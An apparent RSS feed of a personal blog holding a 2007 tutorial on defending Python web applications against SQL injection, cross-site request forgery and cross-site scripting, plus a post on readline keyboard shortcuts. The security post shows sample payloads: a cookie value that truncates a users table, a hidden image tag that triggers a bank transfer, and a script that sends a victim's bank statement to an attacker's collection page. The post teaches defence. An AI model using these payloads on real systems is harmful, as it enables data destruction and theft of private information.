<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nadav Samet&#039;s Blog &#187; tutorial</title>
	<atom:link href="http://www.thesamet.com/tags/tutorial/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thesamet.com</link>
	<description>Because everyone needs a blog</description>
	<lastBuildDate>Sat, 07 Aug 2010 21:58:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Prepare for Attack!—Making Your Web Applications More Secure</title>
		<link>http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/</link>
		<comments>http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/#comments</comments>
		<pubDate>Tue, 16 Jan 2007 07:44:53 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[python]]></category>
		<category><![CDATA[turbogears]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/</guid>
		<description><![CDATA[Arm yourself and prepare for battle! This post is intended as a reminder about the possible security attacks your Web application may be vulnerable to. While it is not meant as a comprehensive guide to Web-application security, it can give &#8230; <a href="http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.thesamet.com/blog/wp-content/uploads/2007/01/computer_security.jpg" title="Computer Security" alt="Computer Security" align="right" />Arm yourself and prepare for battle! This post is intended as a reminder about the possible security attacks your Web application may be vulnerable to. While it is not meant as a comprehensive guide to Web-application security, it can give you some ideas on how to better protect your applications.</p>
<h2>SQL Injection Attacks</h2>
<p>The joy of using an ORM like SQLAlchemy or SQLObject—in addition to the benefit of not having to write a single SQL statement yourself—is its ability to protect you from SQL Injection attacks. Although this built-in security measure affords you protection, it is important to understand how SQL injection attacks work.</p>
<p>If an application contains code that looks like this…</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">def</span> get_user<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; mysql.<span class="me1">execute</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;SELECT * FROM users WHERE user_id=&#8217;%s&#8217;&quot;</span> %<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cherrypy.<span class="me1">request</span>.<span class="me1">cookies</span><span class="br0">&#91;</span><span class="st0">&#8216;user_id&#8217;</span><span class="br0">&#93;</span>.<span class="me1">value</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &#8230;</div>
<p>…then you are vulnerable to the stinging strikes of a malicious user. That&#8217;s because he or she can craft a cookie with the value of <code>"someonebad';<br />
TRUNCATE TABLE users; SELECT '"</code>. The SQL statement that will be executed will then be:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw1">SELECT</span> * <span class="kw1">FROM</span> users <span class="kw1">WHERE</span> user_id=<span class="st0">&#8216;someonebad&#8217;</span>;<br />
&nbsp; &nbsp; &nbsp;<span class="kw1">TRUNCATE</span> <span class="kw1">TABLE</span> users; <span class="kw1">SELECT</span> <span class="st0">&#8221;</span></div>
<p>…which is not good, not good indeed!</p>
<p>To see just how bad the situation really is for our fellows in PHP land, have a look at <a href="http://www.google.com/codesearch?hl=en&amp;lr=&amp;q=lang%3Aphp+query%5C%28.*%5C%24_%28GET%7CPOST%7CCOOKIE%7CREQUEST%7CFILES%29.*%5C%29&amp;btnG=Search">these Google code search results</a>, or for our little brothers in ASP land, <a href="http://www.google.com/codesearch?hl=en&amp;lr=&amp;q=lang%3Aasp+SELECT.*WHERE.*request.querystring&amp;btnG=Search">have a look here</a>. Please act responsibly and don&#8217;t hack into the sites listed there. <img src='http://www.thesamet.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Luckily, ORMs escape all the strings we send to the database engine, and as a result, we are protected from this kind of harmful attack.</p>
<h2>XSRF: Cross-Site Request Forgery</h2>
<p>This exploit is very common in Web applications, especially in those that provide AJAX API. It is best to describe this type of attack with an example. Suppose that an imaginary project, TGBank (which is a Web interface for a bank), has a send_money() method:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; @expose<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="kw1">def</span> send_money<span class="br0">&#40;</span><span class="kw2">self</span>, to_whom, how_much<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1"># validate that user has enough money</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; transfer_money<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; from_user=identity.<span class="me1">current</span>.<span class="kw3">user</span>.<span class="me1">user_id</span>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; to_user=to_whom,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; amount=<span class="kw2">float</span><span class="br0">&#40;</span>how_much<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; turbogears.<span class="me1">redirect</span><span class="br0">&#40;</span><span class="st0">&#8216;/&#8217;</span><span class="br0">&#41;</span></div>
<p>The bank site using this application might contain a page with a &#8220;send money&#8221; form, where the user fills in information such as to whom he is transferring the money and how much money he is transferring. Everything&#8217;s find and dandy there. But what if the user is connected to the bank site, and in another browser tab, he is simultaneously browsing a malicious site, one that contains the following img tag?</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="sc3"><span class="re1">&lt;img</span> <span class="re0">src</span>=<span class="st0">&quot;http://www.tgbank.com/send_money?<br />
&nbsp; &nbsp; &nbsp; &nbsp;to_whom=thesamet&amp;amp;how_much=0.04&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;0&quot;</span><span class="re2">&gt;</span></span></div>
<p>Then the user&#8217;s browser will trigger that operation on behalf of the unsuspecting and innocent Web visitor. And because it&#8217;s such and inconsequential amount, he probably won&#8217;t even bother to check about those four cents.</p>
<p>Allowing only POST requests to go into send_money() will not help the matter. That&#8217;s because it is easy to send POST requests using Javascript. On the other hand, checking that the HTTP referrer header of the request is within one&#8217;s domain is too restrictive. That&#8217;s because many browsers often do not send this header.</p>
<p>A possible solution is to add a hidden field that only your application can generate and validate. For example, you might consider that the application will process the request only if received a query argument with the value of a sha1 digest of a string that is composed of the user id and a secret word. This string can be easily validated by your application, but it will be hard for a malicious site to generate.</p>
<h2>Utterly Ridiculous!—More XSRF: Stealing Information with Scriptaculous</h2>
<p>In addition to doing serious damage, this type of attack can be used to steal information. Suppose the bank application previously mentioned has a URL that returns Javascript code that defines a list with your monthly statement (list of expenses). It may be used on the bank site for doing client side sorting. A malicious site might contain something like this:</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="sc3"><span class="re1">&lt;script</span> <span class="re0">src</span>=<span class="st0">&quot;http://www.tgbank.com/monthly_statement.js&quot;</span> <span class="re0">type</span>=<span class="st0">&quot;text/javascript&quot;</span><span class="re2">&gt;</span></span><span class="sc3"><span class="re1">&lt;/script<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;script</span> <span class="re0">type</span>=<span class="st0">&quot;text/javascript&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; function send_data_to_the_criminal() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; /* code that converts the statement<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; object to string goes here */<br />
&nbsp; &nbsp; &nbsp; &nbsp; Ajax.Request(&#8216;/collect_other_people_data.php&#8217;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; postBody=&#8217;data=&#8217;+statement;<br />
&nbsp; &nbsp; }<br />
window.onload = send_data_to_the_criminal;<br />
<span class="sc3"><span class="re1">&lt;/script<span class="re2">&gt;</span></span></span></div>
<p>Here, that dastardly attacker placed code on his site, that executes the monthly statement script from the bank&#8217;s site. Once that script is executed, we have an object named statement containing a list of monthly expenses. Then, after the document finished loading, it is transmitted right into the waiting attacker&#8217;s hands.</p>
<p>Recently, <a href="http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.html">an XSRF flaw was discovered (and fixed) in GMail</a>. This vulnerability allowed an attacker to steal the user&#8217;s contact list precisely as just mentioned.</p>
<h2>Assault&#8211;Take Two! XSS: Cross-Site Scripting</h2>
<p>Cross-site scripting vulnerability occurs when a Web application generates output that contains user-supplied data without HTML encoding. For example, if we allow a post in a forum to contain HTML tags, then we can use KID to display it:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;div<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ${XML(forum_post.body)}<br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/div<span class="re2">&gt;</span></span></span></div>
<p>Raising the ax yet again, a vile attacker can embed javascript code into his post. Then, when an innocent user visits the page, his or her browser runs the script, unbeknownst to him or her. This script can, for example, send the contents of the page back to the attacker. It might also post a comment to a blog, in the unsuspecting user&#8217;s name, or <a href="http://news.com.com/Samy+opens+new+front+in+worm+war/2100-7349_3-5897099.html">make new friends for him or her in MySpace</a>.</p>
<p>If we do not use the XML() function in KID, then HTML entities are escaped and we are safe. The users will see just the script text and the browser will not interpret it as code. That said, if XML() <em>is</em> to be used, then it is suggested one check whether the string contains <code>'&lt;script'</code> (case insensitive) before actually sending it. You should also beware of spaces between the script and its surrounding &lt; and &gt;, although I haven&#8217;t tested which browsers allow it. Note that most HTML elements allow attributes that can contain javascript code like onmouseover or onclick. The safest thing would be to escape all &lt; to &lt; (Python has a cgi.escape function for this). If HTML tags are to be allowed, then the application should carefully check that they contain only permitted attributes. Also the href attribute of &lt;a&gt; tag should be checked that it does not contain something like &#8220;javascript:do_something()&#8221;. That way, those malicious attackers can be forced to drop their weapons before they have time to draw them.</p>
<p>Now that you&#8217;ve learned how to preempt attacks before they strike, you&#8217;re well on your way to a more enjoyable Web application development experience. Comments and questions about the strategies outlined here are welcomed. We also encourage suggestions on how you&#8217;ve successful waged war against security attackers.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2007/01/16/prepare-for-attack%e2%80%94making-your-web-applications-more-secure/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Efficient Editing In The Command Line: Part 1</title>
		<link>http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/</link>
		<comments>http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/#comments</comments>
		<pubDate>Tue, 12 Dec 2006 22:31:29 +0000</pubDate>
		<dc:creator>thesamet</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/</guid>
		<description><![CDATA[If you are like me, spending a lot of time in the command line, you might be looking for ways to edit the command lines more efficiently. Many interactive UNIX programs implement line editing by using GNU&#8217;s readline library. This &#8230; <a href="http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><div style="float: right; margin-left: 1.5em;">
<script type="text/javascript"><!--
google_ad_client = "pub-9393140612616722";
google_ad_width = 300;
google_ad_height = 250;
google_ad_format = "300x250_as";
google_ad_type = "text_image";
//2006-12-13: blog_square
google_ad_channel = "2605264114";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0070D0";
google_color_text = "000000";
google_color_url = "0070D0";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>If you are like me, spending a lot of time in the command line, you might be looking for ways to edit the command lines more efficiently. Many interactive UNIX programs implement line editing by using <a href="http://tiswww.case.edu/~chet/readline/rltop.html">GNU&#8217;s readline library</a>. This means that all these programs, which include the different shells, Python and many others, offer the same set of keyboard shortcuts. Mastering these shortcuts is worthwhile, since you&#8217;ll be able to use them over and over again in many places.</p>
<h2>Moving around quickly</h2>
<p>The most basic part is to move to the place you want to edit quickly. Here are the most useful shortcuts:</p>
<ul>
<li><strong>Ctrl-a</strong> &#8211; Move to the start of the line.</li>
<li><strong>Ctrl-e</strong> &#8211; Move to the end of the line.</li>
<li><strong>Alt-f</strong> &#8211; Move forward a word.</li>
<li><strong>Ctrl-f</strong> &#8211; Move forward a char.</li>
<li><strong>Alt-b</strong> &#8211; Move backward a word.</li>
<li><strong>Ctrl-b</strong> &#8211; Move backward a char.</li>
</ul>
<p>Another very common shortcut is Ctrl-L which clears the screen and reprints the current line at the top. This is useful if you are organizing your movies library and somebody enters the room.</p>
<h2>Cut, Paste and Undo</h2>
<p>Here is the list of most useful shortcuts for deleting text:</p>
<ul>
<li><strong>Ctrl-w</strong> &#8211; Deletes from cursor position to the previous whitespace.</li>
<li><strong>Ctrl-k</strong> &#8211; Deletes from cursor position to the end of the line.</li>
<li><strong>Ctrl-d</strong> &#8211; Deletes from current character.</li>
<li><strong>Ctrl-u</strong> &#8211; Deletes from whole line.</li>
<li><strong>Alt-d</strong> &#8211; Deletes from cursor position to the end of the current word.</li>
<li><strong>Alt-DEL</strong> &#8211; Deletes from cursor position to the start of the current word.</li>
</ul>
<p>The deleted text can be pasted (yanked) using Ctrl-y. You can use Ctrl-_ or Ctrl-X-U to undo the last editing command. </p>
<h2>Summary</h2>
<p>This covers the essentials. On the next parts of this series we&#8217;ll explore the more powerful abilities of readline. Feel free to leave here questions, suggestions, or perhaps your own tips and tricks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thesamet.com/blog/2006/12/12/efficient-editing-in-the-command-line-part-1/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

